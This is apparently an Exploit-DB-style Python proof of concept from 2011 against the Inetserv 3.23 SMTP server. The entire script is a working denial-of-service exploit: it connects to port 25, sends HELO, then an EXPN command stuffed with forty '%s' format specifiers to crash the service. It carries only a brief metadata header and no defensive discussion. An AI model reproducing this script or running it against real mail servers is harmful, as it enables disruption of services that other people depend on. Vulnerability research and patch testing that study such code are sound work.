Inetserv 3.23 SMTP Denial Of Service

`#!/usr/bin/python  
# Exploit Title: Inetserv 3.23 SMTP DoS  
# Date: 1/22/2011  
# Author: G13  
# Software Link: http://www.avtronics.net/inetserv.php  
# Version: 3.23  
# Tested on: WinXP SP0 Eng  
  
import socket  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
buffer = "EXPN " + "%s" * 40 + "\r\n"  
  
s.connect(('127.0.0.1',25))  
  
data=s.recv(1024)  
s.send("HELO\r\n")  
  
s.send(buffer)  
  
s.send("HELP\r\n")  
s.close()  
  
`